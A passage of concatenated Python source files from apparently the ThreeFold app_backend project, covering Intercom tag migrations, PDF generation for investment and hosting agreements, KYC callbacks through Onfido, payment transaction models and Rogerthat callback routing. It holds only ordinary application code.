from plugins.tff_backend.bizz.iyo.utils import get_iyo_usernames
from plugins.tff_backend.models.hoster import NodeOrder
from plugins.tff_backend.models.investor import InvestmentAgreement
def migrate(dry_run=False):
run_job(_get_node_orders, [], _set_intercom_tags_node_orders, [dry_run], mode=MODE_BATCH, batch_size=50)
run_job(_get_investment_agreements, [], _set_intercom_tags_investment_agreements, [dry_run], mode=MODE_BATCH,
batch_size=50)
def _get_node_orders():
return NodeOrder.query()
def _get_investment_agreements():
return InvestmentAgreement.query()
def _set_intercom_tags_node_orders(node_order_keys, dry_run):
node_orders = ndb.get_multi(node_order_keys) # type: list[NodeOrder]
tags = defaultdict(list)
for order in node_orders:
order_tags = get_intercom_tags_for_node_order(order)
for tag in order_tags:
if order.username not in tags[tag]:
tags[tag].append(order.username)
_set_tags(tags, dry_run)
def _set_intercom_tags_investment_agreements(agreement_keys, dry_run):
investments = ndb.get_multi(agreement_keys) # type: list[InvestmentAgreement]
tags = defaultdict(list)
for investment in investments:
investment_tags = get_intercom_tags_for_investment(investment)
if investment_tags:
for tag in investment_tags:
if investment.username not in tags[tag]:
tags[tag].append(investment.username)
_set_tags(tags, dry_run)
def _set_tags(tag_dict, dry_run):
for tag, users in tag_dict.iteritems():
logging.info('Adding tag "%s" to users %s', tag, users)
if not dry_run:
deferred.defer(tag_intercom_users, tag, users)
|
threefoldfoundation/app_backend | plugins/tff_backend/bizz/agreements/__init__.py | <filename>plugins/tff_backend/bizz/agreements/__init__.py
# -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
import codecs
import os
import time
import jinja2
import inflect
import markdown
from babel.numbers import get_currency_name
from framework.utils import azzert
from mcfw.rpc import returns, arguments
from plugins.tff_backend.bizz.global_stats import get_global_stats
from plugins.tff_backend.consts.agreements import BANK_ACCOUNTS
from plugins.tff_backend.consts.payment import TOKEN_ITFT
from plugins.tff_backend.models.investor import PaymentInfo, InvestmentAgreement
from plugins.tff_backend.utils import round_currency_amount
from xhtml2pdf import pisa
try:
from cStringIO import StringIO
except ImportError:
from StringIO import StringIO
ASSETS_FOLDER = os.path.join(os.path.dirname(__file__), 'assets')
JINJA_ENVIRONMENT = jinja2.Environment(loader=jinja2.FileSystemLoader([ASSETS_FOLDER]))
def _get_effective_date(t=None):
return time.strftime('%d %b %Y', time.gmtime(t))
def create_hosting_agreement_pdf(full_name, address):
template_variables = {
'logo_path': 'assets/logo.jpg',
'effective_date': _get_effective_date(),
'full_name': full_name,
'address': address
}
source_html = JINJA_ENVIRONMENT.get_template('hosting.html').render(template_variables)
output_stream = StringIO()
pisa.CreatePDF(src=source_html, dest=output_stream, path='%s' % ASSETS_FOLDER)
pdf_contents = output_stream.getvalue()
output_stream.close()
return pdf_contents
@returns(unicode)
@arguments(currency_short=unicode, payment_info=[int], has_verified_utility_bill=bool)
def get_bank_account_info(currency_short, payment_info, has_verified_utility_bill):
suffix = currency_short
if payment_info and PaymentInfo.UAE.value in payment_info or not has_verified_utility_bill:
suffix = 'default'
bank_file = os.path.join(ASSETS_FOLDER, 'bank_%s.md' % suffix)
with codecs.open(bank_file, 'r', encoding='utf-8') as f:
return f.read()
def create_itft_amendment_1_pdf(username):
from plugins.tff_backend.bizz.investor import get_total_token_count
agreements = InvestmentAgreement.list_by_status_and_user(username, [InvestmentAgreement.STATUS_PAID,
InvestmentAgreement.STATUS_SIGNED])
azzert(agreements)
agreements.sort(key=lambda a: a.sign_time)
purchase_amounts = ''
sign_dates = ''
for i, agreement in enumerate(agreements):
if i:
purchase_amounts += '<br>'
sign_dates += '<br>'
purchase_amounts += '%s %s' % (agreement.amount, agreement.currency)
sign_dates += _get_effective_date(agreement.sign_time)
old_count = get_total_token_count(username, agreements)[TOKEN_ITFT]
new_count = old_count * 100.0
purchase_amount_in_usd = old_count * 5.0
fmt = lambda x: '{:.2f}'.format(x)
template_variables = {
'logo_path': 'assets/logo.jpg',
'agreement': _get_effective_date,
'full_name': agreements[0].name,
'purchase_amounts': purchase_amounts,
'sign_dates': sign_dates,
'old_count': fmt(old_count),
'new_count': fmt(new_count),
'purchase_amount_in_usd': fmt(purchase_amount_in_usd),
'title': 'iTFT Purchase Agreement - Amendment I<br>iTFT Token Price & Volume Adjustment'
}
md = JINJA_ENVIRONMENT.get_template('itft_amendment_1.md').render(template_variables)
markdown_to_html = markdown.markdown(md, extensions=['markdown.extensions.tables'])
template_variables['markdown_to_html'] = markdown_to_html.replace('<th', '<td')
return _render_pdf_from_html('token_itft.html', template_variables)
def create_token_agreement_pdf(full_name, address, amount, currency_full, currency_short, token, payment_info,
has_verified_utility_bill):
# don't forget to update intercom tags when adding new contracts / tokens
def fmt(x, currency):
if currency == 'BTC':
return '{:.8f}'.format(x)
return '{:.2f}'.format(x)
amount_formatted = fmt(amount, currency_short)
stats = get_global_stats(token)
conversion = {currency.currency: fmt(round_currency_amount(currency.currency, currency.value / stats.value),
currency.currency)
for currency in stats.currencies}
template_variables = {
'logo_path': 'assets/logo.jpg',
'effective_date': _get_effective_date(),
'full_name': full_name,
'address': address.replace('\n', ', '),
'amount': amount_formatted,
'currency_full': currency_full,
'price': stats.value,
'price_words': inflect.engine().number_to_words(stats.value).title(),
'currency_short': currency_short,
'conversion': conversion
}
if token == TOKEN_ITFT:
html_file = 'token_itft.html'
context = {'bank_account': get_bank_account_info(currency_short, payment_info or [], has_verified_utility_bill)}
context.update(template_variables)
md = JINJA_ENVIRONMENT.get_template('token_itft.md').render(context)
markdown_to_html = markdown.markdown(md, extensions=['markdown.extensions.tables'])
template_variables['markdown_to_html'] = markdown_to_html.replace('<th', '<td')
template_variables['title'] = u'iTFT Purchase Agreement'
else:
currency_messages = []
for currency in BANK_ACCOUNTS:
account = BANK_ACCOUNTS[currency]
if currency == 'BTC':
currency_messages.append(
u'when using Bitcoin: to the Company’s BitCoin wallet hosted by BitOasis Technologies FZE, at the'
u' following digital address: <b>%s</b> (the “<b>Wallet</b>”)' % account)
else:
currency_messages.append(
u'when using %s: to the Company’s bank account at Mashreq Bank, IBAN: <b>%s</b> SWIFT/BIC:'
u' <b>BOMLAEAD</b>' % (get_currency_name(currency, locale='en_GB'), account))
template_variables['currency_messages'] = currency_messages
html_file = 'token_tft_btc.html' if currency_short == 'BTC' else 'token_tft.html'
return _render_pdf_from_html(html_file, template_variables)
def _render_pdf_from_html(html_file, template_variables):
source_html = JINJA_ENVIRONMENT.get_template(html_file).render(template_variables)
output_stream = StringIO()
pisa.CreatePDF(src=source_html, dest=output_stream, path='%s' % ASSETS_FOLDER, encoding='UTF-8')
pdf_contents = output_stream.getvalue()
output_stream.close()
return pdf_contents
|
threefoldfoundation/app_backend | plugins/tff_backend/bizz/iyo/utils.py | # -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
from google.appengine.api import users
from google.appengine.ext import ndb
from framework.bizz.authentication import get_current_session
from framework.models.session import Session
from framework.plugin_loader import get_config, get_plugin
from mcfw.cache import cached
from mcfw.rpc import returns, arguments
from plugins.its_you_online_auth.bizz.authentication import get_itsyouonline_client_from_jwt
from plugins.its_you_online_auth.its_you_online_auth_plugin import ItsYouOnlineAuthPlugin
from plugins.its_you_online_auth.plugin_consts import NAMESPACE as IYO_AUTH_NAMESPACE
from plugins.rogerthat_api.to import UserDetailsTO
from plugins.tff_backend.models.user import TffProfile
from plugins.tff_backend.utils.app import create_app_user_by_email
@returns(unicode)
@arguments()
def get_iyo_organization_id():
config = get_config(IYO_AUTH_NAMESPACE)
return config.root_organization.name
@ndb.non_transactional()
@returns(unicode)
@arguments(app_user_or_user_details=(users.User, UserDetailsTO))
def get_username(app_user_or_user_details):
if isinstance(app_user_or_user_details, UserDetailsTO):
app_user = create_app_user_by_email(app_user_or_user_details.email, app_user_or_user_details.app_id)
else:
app_user = app_user_or_user_details
if 'itsyou.online' in app_user.email():
return get_iyo_plugin().get_username_from_rogerthat_email(app_user.email())
else:
return get_username_from_app_email(app_user)
@cached(1, 0)
@returns(unicode)
@arguments(app_user=users.User)
def get_username_from_app_email(app_user):
return TffProfile.get_by_app_user(app_user).username
@returns(dict)
@arguments(app_emails=[unicode])
def get_iyo_usernames(app_emails):
return get_iyo_plugin().get_usernames_from_rogerthat_emails(app_emails)
@returns(users.User)
@arguments(username=unicode)
def get_app_user_from_iyo_username(username):
email = get_iyo_plugin().get_rogerthat_email_from_username(username)
return email and users.User(email)
@ndb.non_transactional()
def get_itsyouonline_client_from_username(username):
session = get_current_session()
if not session or session.user_id != username:
session = Session.create_key(username).get()
if not session:
session = Session.list_by_user(username).get()
if not session:
raise Exception('No session found for %s' % username)
jwt = session.jwt
client = get_itsyouonline_client_from_jwt(jwt)
return client
@returns(ItsYouOnlineAuthPlugin)
def get_iyo_plugin():
# type: () -> ItsYouOnlineAuthPlugin
return get_plugin(IYO_AUTH_NAMESPACE)
|
threefoldfoundation/app_backend | plugins/tff_backend/models/payment.py | # -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
from google.appengine.ext import ndb
from framework.models.common import NdbModel
from plugins.tff_backend.plugin_consts import NAMESPACE
class ThreeFoldBaseTransaction(NdbModel):
NAMESPACE = NAMESPACE
timestamp = ndb.IntegerProperty()
unlock_timestamps = ndb.IntegerProperty(repeated=True, indexed=False) # type: list[int]
unlock_amounts = ndb.IntegerProperty(repeated=True, indexed=False) # type: list[int]
token = ndb.StringProperty()
token_type = ndb.StringProperty()
amount = ndb.IntegerProperty()
precision = ndb.IntegerProperty(default=2)
memo = ndb.StringProperty()
usernames = ndb.StringProperty(repeated=True)
from_username = ndb.StringProperty()
to_username = ndb.StringProperty()
class ThreeFoldTransaction(ThreeFoldBaseTransaction):
amount_left = ndb.IntegerProperty()
fully_spent = ndb.BooleanProperty()
height = ndb.IntegerProperty()
@property
def id(self):
return self.key.id()
@classmethod
def create_new(cls):
return cls(namespace=NAMESPACE)
@classmethod
def list_with_amount_left(cls, username):
return cls.query() \
.filter(cls.to_username == username) \
.filter(cls.fully_spent == False) \
.order(-cls.timestamp) # noQA
class ThreeFoldPendingTransaction(ThreeFoldBaseTransaction):
STATUS_PENDING = u'pending'
STATUS_CONFIRMED = u'confirmed'
STATUS_FAILED = u'failed'
synced = ndb.BooleanProperty()
synced_status = ndb.StringProperty()
@property
def id(self):
return self.key.string_id().decode('utf8')
@classmethod
def create_key(cls, transaction_id):
return ndb.Key(cls, u"%s" % transaction_id, namespace=NAMESPACE)
@classmethod
def list_by_user(cls, username):
return cls.query() \
.filter(cls.usernames == username) \
.order(-cls.timestamp)
|
threefoldfoundation/app_backend | plugins/tff_backend/bizz/kyc/rogerthat_callbacks.py | <reponame>threefoldfoundation/app_backend
# -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
import datetime
import json
import logging
from google.appengine.ext import ndb
from google.appengine.ext.deferred import deferred
from framework.consts import get_base_url
from mcfw.properties import object_factory
from mcfw.rpc import arguments, returns
from onfido import Applicant, Address
from onfido.rest import ApiException
from plugins.rogerthat_api.exceptions import BusinessException
from plugins.rogerthat_api.to import UserDetailsTO
from plugins.rogerthat_api.to.messaging.flow import FLOW_STEP_MAPPING, FormFlowStepTO
from plugins.rogerthat_api.to.messaging.forms import FormResultTO, UnicodeWidgetResultTO, LongWidgetResultTO
from plugins.rogerthat_api.to.messaging.service_callback_results import FlowMemberResultCallbackResultTO, \
TYPE_FLOW, FlowCallbackResultTypeTO
from plugins.tff_backend.bizz.email import send_emails_to_support
from plugins.tff_backend.bizz.iyo.utils import get_username
from plugins.tff_backend.bizz.kyc import save_utility_bill, validate_kyc_status
from plugins.tff_backend.bizz.kyc.onfido_bizz import update_applicant, create_applicant, upload_document
from plugins.tff_backend.bizz.rogerthat import create_error_message
from plugins.tff_backend.bizz.user import get_tff_profile, generate_kyc_flow, set_kyc_status, index_tff_profile
from plugins.tff_backend.models.user import KYCStatus, TffProfile
from plugins.tff_backend.plugin_consts import KYC_FLOW_PART_2_TAG, SCHEDULED_QUEUE
from plugins.tff_backend.to.user import SetKYCPayloadTO
from plugins.tff_backend.utils import get_step
@returns(FlowMemberResultCallbackResultTO)
@arguments(message_flow_run_id=unicode, member=unicode, steps=[object_factory('step_type', FLOW_STEP_MAPPING)],
end_id=unicode, end_message_flow_id=unicode, parent_message_key=unicode, tag=unicode, result_key=unicode,
flush_id=unicode, flush_message_flow_id=unicode, service_identity=unicode, user_details=UserDetailsTO,
flow_params=unicode)
def kyc_part_1(message_flow_run_id, member, steps, end_id, end_message_flow_id, parent_message_key, tag,
result_key, flush_id, flush_message_flow_id, service_identity, user_details, flow_params):
iyo_username = get_username(user_details)
if not iyo_username:
logging.error('No username found for user %s', user_details)
return create_error_message()
if flush_id == 'flush_corporation':
url = get_base_url() + '/users/%s' % iyo_username
msg = """"User %s (%s) wants to be KYC approved using his partnership/corporation or trust""" % (
iyo_username, url)
send_emails_to_support('Corporation wants to sign up', msg)
result = validate_kyc_status(get_tff_profile(iyo_username))
if isinstance(result, FlowMemberResultCallbackResultTO):
return result
if flush_id == 'flush_corporation':
return
nationality_step = get_step(steps, 'message_nationality') or get_step(steps, 'message_nationality_with_vibration')
assert isinstance(nationality_step, FormFlowStepTO)
assert isinstance(nationality_step.form_result, FormResultTO)
assert isinstance(nationality_step.form_result.result, UnicodeWidgetResultTO)
country_step = get_step(steps, 'message_country')
nationality = nationality_step.form_result.result.value
country = country_step.form_result.result.value
xml, flow_params = generate_kyc_flow(nationality, country, iyo_username)
result = FlowCallbackResultTypeTO(flow=xml, tag=KYC_FLOW_PART_2_TAG, force_language=None,
flow_params=json.dumps(flow_params))
return FlowMemberResultCallbackResultTO(type=TYPE_FLOW, value=result)
@returns(FlowMemberResultCallbackResultTO)
@arguments(message_flow_run_id=unicode, member=unicode, steps=[object_factory('step_type', FLOW_STEP_MAPPING)],
end_id=unicode, end_message_flow_id=unicode, parent_message_key=unicode, tag=unicode, result_key=unicode,
flush_id=unicode, flush_message_flow_id=unicode, service_identity=unicode, user_details=UserDetailsTO,
flow_params=unicode)
def kyc_part_2(message_flow_run_id, member, steps, end_id, end_message_flow_id, parent_message_key, tag,
result_key, flush_id, flush_message_flow_id, service_identity, user_details, flow_params):
deferred.defer(_kyc_part_2, message_flow_run_id, member, steps, end_id, end_message_flow_id, parent_message_key,
tag, result_key, flush_id, flush_message_flow_id, service_identity, user_details, flow_params)
@ndb.transactional()
@returns(FlowMemberResultCallbackResultTO)
@arguments(message_flow_run_id=unicode, member=unicode, steps=[object_factory('step_type', FLOW_STEP_MAPPING)],
end_id=unicode, end_message_flow_id=unicode, parent_message_key=unicode, tag=unicode, result_key=unicode,
flush_id=unicode, flush_message_flow_id=unicode, service_identity=unicode, user_details=UserDetailsTO,
flow_params=unicode)
def _kyc_part_2(message_flow_run_id, member, steps, end_id, end_message_flow_id, parent_message_key, tag,
result_key, flush_id, flush_message_flow_id, service_identity, user_details, flow_params):
parsed_flow_params = json.loads(flow_params)
applicant = Applicant(nationality=parsed_flow_params['nationality'],
addresses=[Address(country=parsed_flow_params.get('country'))])
documents = []
username = get_username(user_details)
if not username:
logging.error('Could not find username for user %s!' % user_details)
return create_error_message()
profile = get_tff_profile(username)
result = validate_kyc_status(profile)
if isinstance(result, FlowMemberResultCallbackResultTO):
return result
def _set_attr(prop, value):
if hasattr(applicant, prop):
setattr(applicant, prop, value)
elif prop.startswith('address_'):
prop = prop.replace('address_', '')
if prop == 'country':
applicant.country = value
setattr(applicant.addresses[0], prop, value)
else:
logging.warn('Ignoring unknown property %s with value %s', prop, value)
for step in steps:
# In case of the flowcode_check_skip_passport step
if not isinstance(step, FormFlowStepTO):
continue
step_id_split = step.step_id.split('_', 1)
if step_id_split[0] == 'message':
prop = step_id_split[1] # 'type' from one of plugins.tff_backend.consts.kyc.kyc_steps
step_value = step.form_result.result.get_value()
if prop.startswith('national_identity_card'):
side = None
if prop.endswith('front'):
side = 'front'
elif prop.endswith('back'):
side = 'back'
documents.append(
{'type': 'national_identity_card', 'side': side, 'value': step_value})
elif prop == 'utility_bill':
deferred.defer(save_utility_bill, step_value, profile.key, _transactional=True)
elif prop.startswith('passport'):
documents.append({'type': 'passport', 'value': step_value})
elif isinstance(step.form_result.result, UnicodeWidgetResultTO):
_set_attr(prop, step.form_result.result.value.strip())
elif isinstance(step.form_result.result, LongWidgetResultTO):
# date step
date = datetime.datetime.utcfromtimestamp(step_value).strftime('%Y-%m-%d')
_set_attr(prop, date)
else:
logging.info('Ignoring step %s', step)
try:
if profile.kyc.applicant_id:
applicant = update_applicant(profile.kyc.applicant_id, applicant)
else:
applicant = create_applicant(applicant)
profile.kyc.applicant_id = applicant.id
except ApiException as e:
if e.status in xrange(400, 499):
raise BusinessException('Invalid status code from onfido: %s %s' % (e.status, e.body))
raise
for document in documents:
deferred.defer(upload_document, applicant.id, document['type'], document['value'], document.get('side'),
_transactional=True)
profile.kyc.set_status(KYCStatus.SUBMITTED.value, username)
profile.put()
deferred.defer(index_tff_profile, TffProfile.create_key(username))
# Automatically set status to PENDING_APPROVAL after 5 minutes
payload = SetKYCPayloadTO(status=KYCStatus.PENDING_APPROVAL.value, comment='Verification started automatically')
deferred.defer(_set_kyc_status, username, payload, current_user_id=username, _countdown=300, _queue=SCHEDULED_QUEUE)
def _set_kyc_status(username, payload, current_user_id):
if get_tff_profile(username).kyc.status == KYCStatus.SUBMITTED:
set_kyc_status(username, payload, current_user_id)
|
threefoldfoundation/app_backend | plugins/tff_backend/migrations/ensure_intercom_users.py | <gh_stars>0
# -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
from framework.bizz.job import run_job
from plugins.tff_backend.bizz.user import populate_intercom_user
from plugins.tff_backend.models.user import TffProfile
def ensure_intercom_users():
run_job(_get_profiles, [], _ensure_intercom_user, [])
def _get_profiles():
return TffProfile.query()
def _ensure_intercom_user(profile_key):
populate_intercom_user(profile_key.get())
|
threefoldfoundation/app_backend | plugins/tff_backend/rogerthat_callbacks.py | # -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
import json
import logging
from google.appengine.ext import deferred
from framework.plugin_loader import get_config
from framework.utils import try_or_defer
from mcfw.properties import object_factory
from mcfw.rpc import parse_complex_value, serialize_complex_value, returns, arguments
from plugins.rogerthat_api.api.system import put_user_data
from plugins.rogerthat_api.models.settings import RogerthatSettings
from plugins.rogerthat_api.to import UserDetailsTO
from plugins.rogerthat_api.to.installation import InstallationTO, InstallationLogTO
from plugins.rogerthat_api.to.messaging import Message
from plugins.rogerthat_api.to.messaging.flow import FLOW_STEP_MAPPING
from plugins.rogerthat_api.to.messaging.forms import FormResultTO
from plugins.rogerthat_api.to.messaging.service_callback_results import FlowMemberResultCallbackResultTO, \
FormAcknowledgedCallbackResultTO, SendApiCallCallbackResultTO, MessageAcknowledgedCallbackResultTO, \
PokeCallbackResultTO
from plugins.rogerthat_api.to.system import RoleTO
from plugins.tff_backend.api.rogerthat.agenda import get_presence, update_presence
from plugins.tff_backend.api.rogerthat.documents import api_list_documents
from plugins.tff_backend.api.rogerthat.global_stats import api_list_global_stats
from plugins.tff_backend.api.rogerthat.nodes import api_get_node_status
from plugins.tff_backend.api.rogerthat.referrals import api_set_referral
from plugins.tff_backend.bizz import get_mazraa_api_key
from plugins.tff_backend.bizz.authentication import RogerthatRoles
from plugins.tff_backend.bizz.dashboard import update_firebase_installation
from plugins.tff_backend.bizz.flow_statistics import save_flow_statistics
from plugins.tff_backend.bizz.global_stats import ApiCallException
from plugins.tff_backend.bizz.intercom_helpers import upsert_intercom_user
from plugins.tff_backend.bizz.investor import invest_tft, invest_itft, investment_agreement_signed, \
investment_agreement_signed_by_admin, invest_complete, start_invest
from plugins.tff_backend.bizz.iyo.utils import get_username
from plugins.tff_backend.bizz.kyc.rogerthat_callbacks import kyc_part_1, kyc_part_2
from plugins.tff_backend.bizz.nodes.hoster import order_node, order_node_signed
from plugins.tff_backend.bizz.nodes.stats import _put_node_status_user_data
from plugins.tff_backend.bizz.service import add_user_to_role
from plugins.tff_backend.bizz.user import is_user_in_roles, populate_intercom_user, create_tff_profile, \
update_tff_profile, get_kyc_user_data, get_tff_profile
from plugins.tff_backend.plugin_consts import NAMESPACE, BUY_TOKENS_TAG, KYC_FLOW_PART_1_TAG, KYC_FLOW_PART_2_TAG, \
INVEST_FLOW_TAG
from plugins.tff_backend.utils import parse_to_human_readable_tag, is_flag_set
FMR_TAG_MAPPING = {
'order_node': order_node,
'sign_order_node_tos': order_node_signed,
'invest': invest_tft,
BUY_TOKENS_TAG: invest_itft,
INVEST_FLOW_TAG: invest_complete,
'sign_investment_agreement': investment_agreement_signed,
'sign_investment_agreement_admin': investment_agreement_signed_by_admin,
KYC_FLOW_PART_1_TAG: kyc_part_1,
KYC_FLOW_PART_2_TAG: kyc_part_2,
}
POKE_TAG_MAPPING = {
'start_invest': start_invest
}
API_METHOD_MAPPING = {
'agenda.update_presence': update_presence,
'agenda.get_presence': get_presence,
'referrals.set': api_set_referral,
'global_stats.list': api_list_global_stats,
'documents.list': api_list_documents,
'node.status': api_get_node_status
}
def log_and_parse_user_details(user_details):
# type: (list[dict]) -> UserDetailsTO
user_detail = user_details[0] if isinstance(user_details, list) else user_details
logging.debug('Current user: %(email)s:%(app_id)s', user_detail)
return UserDetailsTO.from_dict(user_detail)
def flow_member_result(rt_settings, request_id, message_flow_run_id, member, steps, end_id, end_message_flow_id,
parent_message_key, tag, result_key, flush_id, flush_message_flow_id, service_identity,
user_details, flow_params, timestamp, **kwargs):
user_details = log_and_parse_user_details(user_details)
steps = parse_complex_value(object_factory("step_type", FLOW_STEP_MAPPING), steps, True)
f = FMR_TAG_MAPPING.get(parse_to_human_readable_tag(tag))
should_process_flush = f and not flush_id.startswith('flush_monitoring')
result = None
try:
if should_process_flush:
logging.info('Processing flow_member_result with tag %s and flush_id %s', tag, flush_id)
result = f(message_flow_run_id, member, steps, end_id, end_message_flow_id, parent_message_key, tag,
result_key, flush_id, flush_message_flow_id, service_identity, user_details, flow_params)
return result and serialize_complex_value(result, FlowMemberResultCallbackResultTO, False,
skip_missing=True)
else:
logging.info('[tff] Ignoring flow_member_result with tag %s and flush_id %s', tag, flush_id)
finally:
deferred.defer(save_flow_statistics, parent_message_key, steps, end_id, tag, flush_id, flush_message_flow_id,
user_details, timestamp, result)
def form_update(rt_settings, request_id, status, form_result, answer_id, member, message_key, tag, received_timestamp,
acked_timestamp, parent_message_key, result_key, service_identity, user_details, **kwargs):
if not is_flag_set(Message.STATUS_ACKED, status):
return None
user_details = log_and_parse_user_details(user_details)
form_result = parse_complex_value(FormResultTO, form_result, False)
f = FMR_TAG_MAPPING.get(parse_to_human_readable_tag(tag))
if not f:
return None
result = f(status, form_result, answer_id, member, message_key, tag, received_timestamp, acked_timestamp,
parent_message_key, result_key, service_identity, user_details)
return result and serialize_complex_value(result, FormAcknowledgedCallbackResultTO, False, skip_missing=True)
def messaging_update(rt_settings, request_id, status, answer_id, received_timestamp, member, message_key, tag,
acked_timestamp, parent_message_key, service_identity, user_details, **kwargs):
if not is_flag_set(Message.STATUS_ACKED, status):
return None
user_details = log_and_parse_user_details(user_details)
f = FMR_TAG_MAPPING.get(parse_to_human_readable_tag(tag))
if not f:
return None
result = f(status, answer_id, received_timestamp, member, message_key, tag, acked_timestamp, parent_message_key,
service_identity, user_details)
return result and serialize_complex_value(result, MessageAcknowledgedCallbackResultTO, False, skip_missing=True)
@returns(dict)
@arguments(rt_settings=RogerthatSettings, id_=unicode, email=unicode, tag=unicode, result_key=unicode, context=unicode,
service_identity=unicode, user_details=[dict], timestamp=(int, long))
def messaging_poke(rt_settings, id_, email, tag, result_key, context, service_identity, user_details, timestamp):
handler = POKE_TAG_MAPPING.get(parse_to_human_readable_tag(tag))
if not handler:
logging.info('Ignoring poke with tag %s', tag)
return None
user_details = log_and_parse_user_details(user_details)
result = handler(email, tag, result_key, context, service_identity, user_details)
return result and serialize_complex_value(result, PokeCallbackResultTO, False, skip_missing=True)
def friend_register_result(rt_settings, request_id, **params):
try_or_defer(_friend_register_result, rt_settings, request_id, **params)
def _friend_register_result(rt_settings, request_id, **params):
user_detail = log_and_parse_user_details(params['user_details'])
profile = create_tff_profile(user_detail)
try_or_defer(add_user_to_role, user_detail, RogerthatRoles.MEMBERS)
try_or_defer(populate_intercom_user, profile)
try_or_defer(_put_node_status_user_data, profile.key)
def friend_invite_result(rt_settings, request_id, user_details, **kwargs):
user_details = log_and_parse_user_details(user_details)
if user_details.app_id == get_config(NAMESPACE).rogerthat.app_id:
mazraa_key = get_mazraa_api_key()
if rt_settings.api_key == mazraa_key:
profile = get_tff_profile(get_username(user_details))
put_user_data(mazraa_key, user_details.email, user_details.app_id, get_kyc_user_data(profile))
def friend_update(rt_settings, request_id, user_details, changed_properties, **kwargs):
user_detail = log_and_parse_user_details(user_details)
username = get_username(user_detail)
profile = update_tff_profile(username, user_detail)
try_or_defer(upsert_intercom_user, username, profile)
def friend_is_in_roles(rt_settings, request_id, service_identity, user_details, roles, **kwargs):
user_details = log_and_parse_user_details(user_details)
roles = parse_complex_value(RoleTO, roles, True)
return is_user_in_roles(user_details, roles)
def system_api_call(rt_settings, request_id, method, params, user_details, **kwargs):
if method not in API_METHOD_MAPPING:
logging.warn('Ignoring unknown api call: %s', method)
return
user_details = log_and_parse_user_details(user_details)
response = SendApiCallCallbackResultTO(error=None, result=None)
try:
params = json.loads(params) if params else params
result = API_METHOD_MAPPING[method](params=params, user_detail=user_details)
if result is not None:
is_list = isinstance(result, list)
if is_list and result:
_type = type(result[0])
else:
_type = type(result)
if isinstance(result, unicode):
response.result = result
else:
result = serialize_complex_value(result, _type, is_list)
response.result = json.dumps(result).decode('utf-8')
except ApiCallException as e:
response.error = e.message
except:
logging.exception('Unhandled API call exception')
response.error = u'An unknown error has occurred. Please try again later.'
return serialize_complex_value(response, SendApiCallCallbackResultTO, False)
def installation_progress(rt_settings, request_id, installation, logs, **kwargs):
installation = InstallationTO.from_dict(installation)
logs = InstallationLogTO.from_list(logs)
try_or_defer(update_firebase_installation, installation, logs)
|
threefoldfoundation/app_backend | plugins/tff_backend/api/rogerthat/referrals.py | <gh_stars>0
# -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
from google.appengine.ext import ndb, deferred
from mcfw.rpc import returns, arguments
from plugins.rogerthat_api.to import UserDetailsTO
from plugins.tff_backend.bizz.authentication import RogerthatRoles
from plugins.tff_backend.bizz.global_stats import ApiCallException
from plugins.tff_backend.bizz.iyo.utils import get_username
from plugins.tff_backend.bizz.service import add_user_to_role
from plugins.tff_backend.bizz.user import store_referral_in_user_data, \
notify_new_referral
from plugins.tff_backend.models.user import TffProfile, ProfilePointer
@returns(dict)
@arguments(params=dict, user_detail=UserDetailsTO)
def api_set_referral(params, user_detail):
def trans():
code = params.get("code").lower()
